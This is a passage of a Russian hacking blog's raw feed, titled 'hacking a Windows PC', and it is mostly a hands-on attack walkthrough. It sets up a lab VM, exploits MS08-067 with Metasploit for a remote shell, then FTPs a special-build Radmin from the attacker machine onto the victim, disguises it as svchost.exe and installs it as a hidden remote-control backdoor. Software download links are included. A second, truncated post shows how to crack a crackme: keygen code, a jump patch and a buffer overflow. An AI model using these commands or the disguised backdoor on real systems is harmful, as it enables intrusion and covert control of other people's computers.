src="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sa_tPG8Z0HI/AAAAAAAAABs/VhLjeTEXL3U/s320/8.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt;Ну вот приготовления закончены теперь запускаем виртуальную машину и жмем F12, если вы все правильно сконфигурировали, то перед вами появится окно установки. В моем случае оно выглядит так, у вас может отличатся, завит от уставливаемой ОС. Я использовал сборку ZVERDVD.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_tbjgIAiI/AAAAAAAAAB0/lDyNMxBWq5g/s1600-h/9.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 179px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_tbjgIAiI/AAAAAAAAAB0/lDyNMxBWq5g/s320/9.JPG" alt="" id="BLOGGER_PHOTO_ID_5309723543335338530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;УСТАНОВКА СВЯЗИ.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Необходимый софт:&lt;/span&gt;&lt;br /&gt;&lt;em&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;ФТП — сервер (Serv -U)&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Значит, после установки необходимо настроить сеть, между нашим реальным ПК и Виртуальным. Для этого идем в свойства подключения виртуального адаптера, который вы выбрали на вкладке  Enternet у меня это Vmnet2.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sa_t-0smY_I/AAAAAAAAAB8/gfPFPI4pUD8/s400/11.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 351px; height: 400px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sa_t-0smY_I/AAAAAAAAAB8/gfPFPI4pUD8/s400/11.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;IP адресс     192.168.1.3&lt;br /&gt;Маска подсети  255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Теперь загружаем виртуальную машину и также идем в сетевые подключения и смотрим свойства tcp/ip.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_uM38r_JI/AAAAAAAAACE/1rMp4pVRuhc/s400/10.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 357px; height: 400px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_uM38r_JI/AAAAAAAAACE/1rMp4pVRuhc/s400/10.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt; &lt;/p&gt;&lt;p style="text-align: justify;"&gt;Настраиваем следующим образом:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;IP адресс     192.168.1.10&lt;br /&gt;Маска подсети  255.255.255.0&lt;br /&gt;Основной шлюз   192.168.1.3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Осталось только поставить ФТП сервер на наш реальный ПК. Я выбрал  Serv -U, он заводится с пол аборота. Важно, когда будете создавать пользователя, создавайте без пароля, да и вешайте фтп на стандартный 21 порт, используемый протокол тоже ФТП.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sa_ueYAqsjI/AAAAAAAAACM/nM1W9kgxHBY/s1600-h/12.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 317px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sa_ueYAqsjI/AAAAAAAAACM/nM1W9kgxHBY/s400/12.JPG" alt="" id="BLOGGER_PHOTO_ID_5309724691301839410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ПРИМЕР.&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Необходимый софт:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;&lt;span style="font-style: italic;"&gt;Metasploit 3.2&lt;br /&gt;Radmin Viewer 3&lt;br /&gt;RadminServer (спец. Сборка)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Сканим комп xspider'ом&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sa_5nXMqGLI/AAAAAAAAACs/TZRNc3_wzlA/s1600-h/16.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 310px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sa_5nXMqGLI/AAAAAAAAACs/TZRNc3_wzlA/s400/16.JPG" alt="" id="BLOGGER_PHOTO_ID_5309736940330424498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p style="text-align: justify;"&gt;Для взлома мы бужем использовать, недавно обнаруженную уязвимость в службе Server&lt;em&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;(ms08_067)&lt;/span&gt;&lt;/em&gt;.Запускаем &lt;strong&gt;Metasploit 3 Web&lt;/strong&gt;, ждем пока загрузится и затем в адресной строке браузера пишем 127.0.0.1:55555.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sa_uwjg_pzI/AAAAAAAAACU/r3l9-k44ksE/s1600-h/13.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 278px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sa_uwjg_pzI/AAAAAAAAACU/r3l9-k44ksE/s400/13.JPG" alt="" id="BLOGGER_PHOTO_ID_5309725003627865906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;use windows/smb/ms08_067_netapi    &lt;span style="color: rgb(102, 102, 102);"&gt;;&lt;/span&gt; наш сплоит&lt;br /&gt;&lt;br /&gt;set PAYLOAD generic/shell_bind_tcp  ; выбираем начинку&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;PAYLOAD =&gt; generic/shell_bind_tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;set RHOST      192.168.1.10   ; хост-жертва&lt;br /&gt;&lt;br /&gt;RHOST =&gt; 192.168.1.10&lt;br /&gt;&lt;br /&gt;set LPORT 7777     ; локальный порт&lt;br /&gt;&lt;br /&gt;LPORT =&gt; 7777&lt;br /&gt;&lt;br /&gt;set RPORT 445     ; удаленный порт&lt;br /&gt;RPORT =&gt; 445&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;strong&gt;exploit&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;[*] Started bind handler&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;[*] Automatically detecting the target...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;[*] Fingerprint: Windows XP Service Pack 3 - lang:Russian&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;[*] Selected Target: Windows XP SP3 Russian (NX)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;[*] Triggering the vulnerability...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;[*] Command shell session 1 opened (192.168.1.3:5583 -&gt; 192.168.1.10:7777)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Microsoft Windows XP [‚¥àá¨ï 5.1.2600]&lt;br /&gt;(‘) Š®à¯®à æ¨ï Œ ©ªà®á®äâ, 1985-2001.&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Получили командную строку на удаленной системе&lt;br /&gt;&lt;br /&gt;{создаем в папке windows, папку helps}&lt;br /&gt;cd c:\windows&lt;br /&gt;mkdir helps&lt;br /&gt;&lt;br /&gt;{коннектимся к нашему компу}&lt;br /&gt;ftp192.168.1.3&lt;br /&gt;Пользователь (192.168.1.3:(none)): kerny&lt;br /&gt;&lt;br /&gt;{успешный коннект, идем c:\kerny\ нашего фтп, именно там хранится радмин}&lt;br /&gt;cd c:\kerny\&lt;br /&gt;dir&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;&lt;em&gt;&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;&lt;em&gt;{файлы радмина}&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;drw-rw-rw-   1 user     group           0 Mar  2 20:10 .&lt;br /&gt;drw-rw-rw-   1 user     group           0 Mar  2 20:10 ..&lt;br /&gt;-rw-rw-rw-   1 user     group         547 Mar  2 20:10 111.bat&lt;br /&gt;-rw-rw-rw-   1 user     group         940 Mar  2 20:10 111.reg&lt;br /&gt;-rw-rw-rw-   1 user     group       40448 Mar  2 20:10 AdmDll.dll&lt;br /&gt;-rw-rw-rw-   1 user     group       17408 Mar  2 20:10 raddrv.dll&lt;br /&gt;-rw-rw-rw-   1 user     group      152576 Mar  2 20:10 svchost.exe&lt;br /&gt;&lt;br /&gt;{сливаем файлы на комп жертвы в папку windows\helps}&lt;br /&gt;get 111.bat c:\windows\helps\111.bat&lt;br /&gt;get 111.reg c:\windows\helps\111.reg&lt;br /&gt;get AdmDll.dll c:\windows\helps\AdmDll.dll&lt;br /&gt;get raddrv.dll c:\windows\helps\raddrv.dll&lt;br /&gt;get svchost.exe  c:\windows\helps\svchost.exe&lt;br /&gt;{отключаемся от нашего фтп}&lt;br /&gt;bye&lt;br /&gt;&lt;br /&gt;{идем в папку, и проверяем скачались ли файлы}&lt;br /&gt;cd c:\windows\helps&lt;br /&gt;dir&lt;br /&gt;-rw-rw-rw-   1 user     group         547 Mar  2 20:11 111.bat&lt;br /&gt;-rw-rw-rw-   1 user     group         940 Mar  2 20:11 111.reg&lt;br /&gt;-rw-rw-rw-   1 user     group       40448 Mar  2 20:12 AdmDll.dll&lt;br /&gt;-rw-rw-rw-   1 user     group       17408 Mar  2 20:12 raddrv.dll&lt;br /&gt;-rw-rw-rw-   1 user     group      152576 Mar  2 20:12 svchost.exe&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;{устанавливаем Radmin у жертвы}&lt;/span&gt;&lt;br /&gt;111.bat&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_weqnkS1I/AAAAAAAAACc/de-qr4zW1Xo/s1600-h/14.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 213px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_weqnkS1I/AAAAAAAAACc/de-qr4zW1Xo/s400/14.JPG" alt="" id="BLOGGER_PHOTO_ID_5309726895320091474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Теперь запускаем Radmin Viewer и конектимся, как видим все прошло успешно.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sa_wqRwzH3I/AAAAAAAAACk/A7Xi7UIkWaE/s1600-h/15.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 294px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sa_wqRwzH3I/AAAAAAAAACk/A7Xi7UIkWaE/s400/15.JPG" alt="" id="BLOGGER_PHOTO_ID_5309727094806355826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Снял видео, там же и статья отформатированная в pdf и софт:&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://letitbit.net/download/3a5ae155b4/Kvideo.rar.htm"&gt;letitbit&lt;/a&gt;&lt;br /&gt;&lt;a href="http://letitbit.net/download/9838.98047c3978042f54f55ceda9b/Kvideo.rar.html"&gt;letitbit&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ifolder.ru/10884195"&gt;ifolder&lt;/a&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/files/30muxeg7o"&gt;deposit&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-6384833672791476517?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/6384833672791476517/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/03/windows.html#comment-form' title='Комментарии: 45'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6384833672791476517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6384833672791476517'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/03/windows.html' title='ВЗЛОМ ПК, под управлением Windows.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/Sa_sPqVgrSI/AAAAAAAAABU/mbkjmgkOPZw/s72-c/4.JPG' height='72' width='72'/><thr:total>45</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1363250055656453186</id><published>2009-03-02T16:10:00.005+03:00</published><updated>2009-07-26T23:43:44.662+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Взлом'/><title type='text'>Взлом crackme#1 от Shturmovik.</title><content type='html'>&lt;p&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-size:130%;"&gt;Взлом crackme#1 от Shturmovik&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;Эта мини-статья будет посвещяна взлому &lt;span style="font-weight:bold;"&gt;crackme#1 от Shturmovik&lt;/span&gt;.&lt;br /&gt;Это первая прога, и первый crackme, который я хакнул(крякнул), так что не судите строго. Все мы будем делать только с помощью одной проги — &lt;span style="font-weight:bold;"&gt;odbg&lt;/span&gt;(олли -дебагер)&lt;br /&gt;&lt;p&gt;Итак, пожалуй начнем....&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Наша цель: Взломать прогу, написать кейген.&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;Что-бы вас немного заинтриговать, скажу что в конце благодаря уязвимости найденной в&lt;br /&gt;программе мы получим универсальный &lt;span style="font-weight:bold;"&gt;СЕРИЙНИК&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/Savbvr9bSBI/AAAAAAAAAAU/NlptVstVG5E/s1600-h/5.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 248px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/Savbvr9bSBI/AAAAAAAAAAU/NlptVstVG5E/s400/5.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5308578198086961170" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Путем проб и ошибок, определяем, что если ввести неверный ключ, то нам заявляют,-&lt;br /&gt;«&lt;strong&gt;Bad serial, Try yet&lt;/strong&gt;», смотрим код и видим еще одно сообщение «&lt;strong&gt;I congratulate! You have cracked me!&lt;/strong&gt;» по - видимому, оно появляется в случае, если мы введем правильный серийный&lt;br /&gt;номер.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;KEЙГЕН.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;0040122F |. 68 A8304000 PUSH crackme#.004030A8&lt;br /&gt;&lt;/p&gt;00401234 |. 68 96304000 PUSH crackme#.00403096&lt;br /&gt;&lt;p&gt;00401239 |. E8 DEFEFFFF CALL crackme#.0040111C&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;В стек заталкиваются параметры, и происходит переход на подпрограмму, адрес которой&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;0040111C&lt;/span&gt;, скорее всего именно там происходит проверка серейника.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;GO TO=&gt;EXPRESSION&lt;/span&gt;, или просто &lt;span style="font-weight:bold;"&gt;ctr+g&lt;/span&gt;, вводим наш адрес, жмем ок.&lt;br /&gt;Детально изучаем код....&lt;br /&gt;&lt;br /&gt;Понимаем, что главная строка в этой подпрограмме &lt;span style="font-weight:bold;"&gt;XOR AL,CL&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SavdBc2ywUI/AAAAAAAAAAc/9l0NYyDY5_c/s1600-h/4.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 49px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SavdBc2ywUI/AAAAAAAAAAc/9l0NYyDY5_c/s400/4.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5308579602781880642" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;После выполнения всего предыдущего кода, эта строка, делает вот что:&lt;br /&gt;На первом проходе цикла в регистре &lt;span style="font-weight:bold;"&gt;AL&lt;/span&gt;, хранится первый символ из названия вашего&lt;br /&gt;компьютера, в &lt;span style="font-weight:bold;"&gt;CL&lt;/span&gt;, единица. Мой ПК называется KERNY, соответственно.&lt;br /&gt;&lt;strong&gt;AL=4B&lt;br /&gt;CL=1&lt;/strong&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4B&lt;/span&gt; – это буква &lt;span style="font-weight:bold;"&gt;K&lt;/span&gt; в &lt;span style="font-weight:bold;"&gt;hex&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;После операции:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;XOR AL,CL&lt;br /&gt;XOR 4B, 01&lt;br /&gt;AL=4A&lt;/span&gt;, это буква J, далее по коду идут разные сравнения и т.п.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/Savdlbscs7I/AAAAAAAAAAk/U8kJpTQWImw/s1600-h/6.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 36px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/Savdlbscs7I/AAAAAAAAAAk/U8kJpTQWImw/s400/6.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5308580220945347506" /&gt;&lt;/a&gt;&lt;br /&gt;Но наиболее важное:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;CMP AH,AL&lt;/span&gt; &lt;span style="color:#666666;"&gt;&lt;span style="font-style:italic;"&gt;;сравниваем AH И AL&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;JNZ 00401148&lt;/span&gt; &lt;span style="font-style:italic;"&gt;&lt;span style="color:#666666;"&gt;;если AH И AL не равны друг другу, то переходим по адресу&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Причем в &lt;span style="font-weight:bold;"&gt;AL&lt;/span&gt; сейчас храница &lt;span style="font-weight:bold;"&gt;4A&lt;/span&gt; (буква J), если мы посмотрим дальше, то лучше нам не&lt;br /&gt;переходить, тоесть нам нужно, что-бы условие не выполнилось, значит AH и AL, должны&lt;br /&gt;быть равны!!!Соответственно первая буква нашего серийного номера - J, но это только в&lt;br /&gt;моем случае... Вот серийник для моего компа &lt;strong&gt;JGQJ\&lt;/strong&gt;&lt;br /&gt;Теперь мы можем смело заявить, что серийный номер, генерируется по следующему правилу:&lt;br /&gt;&lt;p&gt;Берется имя вашего компьютера, и каждый символ подвергается операции &lt;strong&gt;XOR&lt;/strong&gt;. Но вы&lt;br /&gt;можете поинтересоваться с чем именно он «&lt;em&gt;ксорится&lt;/em&gt;». На первом проходе цикла это&lt;br /&gt;единица, на втором двойка и так далее, все потому что в коде присутствует строка:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;INC CX&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;увеличиваем &lt;strong&gt;CX&lt;/strong&gt; на единицу с каждым проходом цикла... Да что объяснять! Вот код процедуры на &lt;strong&gt;Delp&lt;/strong&gt;&lt;strong&gt;hi&lt;/strong&gt;:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;procedure&lt;/strong&gt;&lt;/span&gt; keygen;&lt;br /&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;var&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;i:byte;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;begin&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;em&gt;&lt;span style="color:#009900;"&gt;{непосредственно кейген}&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;form1.edit1.Text:=#0;&lt;br /&gt;for I:=1 to length(compname) do &lt;em&gt;&lt;span style="color:#009900;"&gt;//от 1 до конца строки&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;&lt;em&gt;{Проводим операцию xor над первым символом из названия&lt;br /&gt;компа и единицей, соответственно на втором шаге&lt;br /&gt;цикла будет, второй символ и двойка }&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;form1.edit1.Text:=edit1.Text+chr(ord(compname[i]) &lt;strong&gt;&lt;span style="color:#000099;"&gt;xor&lt;/span&gt;&lt;/strong&gt; i);&lt;br /&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;end;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;ХАК.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/Savg3Yq_JMI/AAAAAAAAAAs/jjAC_kNa53U/s1600-h/3.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 229px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/Savg3Yq_JMI/AAAAAAAAAAs/jjAC_kNa53U/s400/3.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5308583827906438338" /&gt;&lt;/a&gt;&lt;br /&gt;Для этого необходимо всего лишь изменить строку&lt;br /&gt;00401144 | |JNZ SHORT crackme#.00401148&lt;br /&gt;на следующую:&lt;br /&gt;00401144 | |JE SHORT crackme#.00401148&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;Переполнение буфера(самое интересное).&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Прикол вот в чем, пока я копался в коде, нашел там уязвимость — ПЕРЕПОЛНЕНИЕ&lt;strong&gt;&lt;a href="http://ru.wikipedia.org/wiki/Переполнение_буфера"&gt;&lt;span style="color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;БУФЕРА, интересно автор спецально подстроил или нет?&lt;br /&gt;Так или иначе, первым в память пишется не имя компа, а то что мы ввели в поле ввода, таким образом есть&lt;br /&gt;возможность затереть имя компа, на произвольное значение, чем мы сейчас и займемся.&lt;br /&gt;Ставим бряк на &lt;span style="font-weight:bold;"&gt;401239&lt;/span&gt;(выделяем строку и жмем F2) запускаем прогу.Я ввел в поле ввода&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;HELLO&lt;/span&gt; вот результат:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SavhfNa-XPI/AAAAAAAAAA0/ubtBNVBx09I/s1600-h/8.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 168px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SavhfNa-XPI/AAAAAAAAAA0/ubtBNVBx09I/s400/8.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5308584512081255666" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Попробуем ввести в поле ввода HELLOHELLOHELLOHELLO&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SavhwG97PNI/AAAAAAAAAA8/UnAKAVukgAc/s1600-h/9.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 165px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SavhwG97PNI/AAAAAAAAAA8/UnAKAVukgAc/s400/9.JPG" border="0" alt="" 